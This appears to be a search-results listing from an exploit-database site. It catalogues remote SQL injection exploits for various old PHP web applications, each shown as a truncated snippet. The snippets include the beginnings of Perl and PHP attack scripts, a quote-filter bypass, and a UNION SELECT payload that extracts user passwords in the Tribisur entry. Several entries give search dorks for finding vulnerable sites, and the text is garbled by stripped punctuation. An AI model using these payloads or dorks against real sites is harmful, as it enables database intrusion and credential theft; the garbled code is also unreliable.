3821 matches found
DigitalHive 2.0 RC2 - 'user_id' SQL Injection
body margin:3%; font-size:10px; color:FFFFFF; font-family:Verdana,Arial; background-color:1a1a1a; text-align: center; input background:303030; color:FFFFFF; font-family:Verdana,Arial; font-size:10px; vertical-align:middle; border-left:1px solid 5d5d5d; border-right:1px solid 121212;...
MTCMS <= 2.0 Remote SQL Injection Vulnerabilities
Exploit for unknown platform in category web applications ================================================= MTCMS = 2.0 Remote SQL Injection Vulnerabilities ================================================= ...:::::MTCMS =2.0 SQL Injection Vulnerbility ::::.... Virangar Security Team --------...
PHP Webquest 2.6 (id_actividad) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ============================================================ PHP Webquest 2.6 idactividad Remote SQL Injection Exploit ============================================================ !/usr/bin/perl PHP Webquest 2.6 Remote SQL Injection Exploi...
SmallNuke 2.0.4 Pass Recovery Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ========================================================== SmallNuke 2.0.4 Pass Recovery Remote SQL Injection Exploit ========================================================== !/usr/bin/perl use Tk; use Tk::BrowseEntry; use Tk::DialogBox;...
DCP-Portal <= 6.11 Remote SQL Injection Exploit
No description provided by source. !/usr/bin/php -q ?php echo "DCP Portal = 6.11 Remote SQL Injection Exploit\r\n"; echo "Coded by x0kster -x0ksterATgmailDOTcom - \r\n"; / Note : Magic Quotes = 0 Script Download : http://www.dcp-portal.org/ Bug in index.php : ?php //index.php ... 60. $sql = "SELE...
dcpportal-sql.txt
!/usr/bin/php -q But the script filter the quotes with this code, included in each page of the cms: 0 119. $str = $SERVER'QUERYSTRING'; 120. $arr = split';&', URLdecode$str; 121. $pos = strpos$str, "'"; 122. if $pos 123. $hackattempt = true; ... ? But we can bypass this control using %27 instead ...
Eggblog <= 3.1.0 Cookies Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ===================================================== Eggblog "UnderWHAT?!" ; $mw-geometry '420x343' ; $mw-resizable0,0; $mw-Label-text = '', -font = 'Verdana 8',-foreground='red'-pack; $mw-Label-text = 'eggblog 'Tahoma 7...
samPHPweb (songinfo.php) Remote SQL Injection Vulnerability
No description provided by source. Title:samPHPweb songinfo.php Remote SQL Injection Script:samPHPweb Download:http://www.spacialaudio.com/download/samPHPweb.zip Bug:songinfo.php Author:BackDoor Dork1:inurl:samPHPweb/playing.php Dork2:This page was produced using SAM Broadcaster. Copyright Spacia...
DCP-Portal 6.11 - SQL Injection
DCP-Portal 6.11 - SQL Injection !/usr/bin/php -q But the script filter the quotes with this code, included in each page of the cms: 0 119. $str = $SERVER'QUERYSTRING'; 120. $arr = split';&', URLdecode$str; 121. $pos = strpos$str, "'"; 122. if $pos 123. $hackattempt = true; ... ? But we can bypass...
Tribisur <= 2.0 Remote SQL Injection Exploit
No description provided by source. !/usr/bin/php -q ?php echo "Tribisur = 2.0 Remote SQL Injection Exploit\r\n"; echo "Coded by x0kster -x0ksterATgmailDOTcom - \r\n"; / Script Download : http://www.comscripts.com/scripts/php.tribisur-20.1211.html Bug 1 in modules/forum/liste.php : First, this...
samPHPweb (songinfo.php) Remote SQL Injection Vulnerability
Exploit for unknown platform in category web applications =========================================================== samPHPweb songinfo.php Remote SQL Injection Vulnerability =========================================================== Title:samPHPweb songinfo.php Remote SQL Injection...
Tribisur <= 2.0 Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ============================================ Tribisur And now the bugged code :- : So we can exploit it with this simple PoC: forum.php?action=liste&cat=-1+union+select+0,concatpseudo,0x3a,passe,0,0,0,0,0,0,0,0+from+utiliz+where+id=1 Bug 2...
MyPHP Forum <= 3.0 (Final) Remote SQL Injection Vulnerability
No description provided by source. ================================================================================================= / | |\ \ / | / |/ | | |/ \ | | / \ \ | \ \ &...
ClipShare (uprofile.php UID) Remote SQL Injection Vulnerability
No description provided by source. video sharing www.clip-share.com Remote SQL Injection Exploit All Version AUTHOR :Krit webmaster of http://www.thaishadow.com HOME : http://www.thaishadow.com Download : http://www.clip-share.com/ DorKs :inurl:/uprofile.php?UID= or "Powered by clipshare" EXPLOIT...
MyPHP Forum <= 3.0 (Final) Remote SQL Injection Vulnerability
Exploit for unknown platform in category web applications ============================================================= MyPHP Forum | |||| /| / / ================================================================================================= This is a Public Exploit. Date: 03/01/2008...
joomlapuarcade-sql.txt
Joomla Component PU Arcade Remote SQL Injection Exploit AUTHOR : HouSSamix of H-T TeaM We are HouSSamix ToXiC350 CoNaN HOME : http://no-hack.net Script : PU Arcade Joomla Component Tested in version 2.0.3 & 2.1.3 Beta Download : http://www.pragmaticutopia.com/ DorKs : PU Arcade by...
Zenphoto 1.1.3 (rss.php albumnr) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl -w Zenphoto 1.1.3 SQL Injection Exploit Discovered by:...
webportalcms-sql.txt
!/usr/bin/perl -w WebPortal CMS If we select an inesistent id of a mod, it'll try to include it. So we have a warning error with the hash!. use LWP::UserAgent; if @ARGV new or die "-LWP::UserAgent error.\n"; $b-agent'Mozilla/4.0 compatible; MSIE 7.0; Windows NT 5.1'; print "+Exploiting.\n"; $host...
IPTBB <= 0.5.4 (viewdir id) Remote Sql Injection Vulnerability
Exploit for unknown platform in category web applications ============================================================== IPTBB | |||| /| / / --------------------------------------------------------------- Remote Sql Injection ---------------------------------------------------------------...
WebPortal CMS <= 0.6.0 (index.php m) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ================================================================= WebPortal CMS If we select an inesistent id of a mod, it'll try to include it. So we have a warning error with the hash!. use LWP::UserAgent; if @ARGV new or die...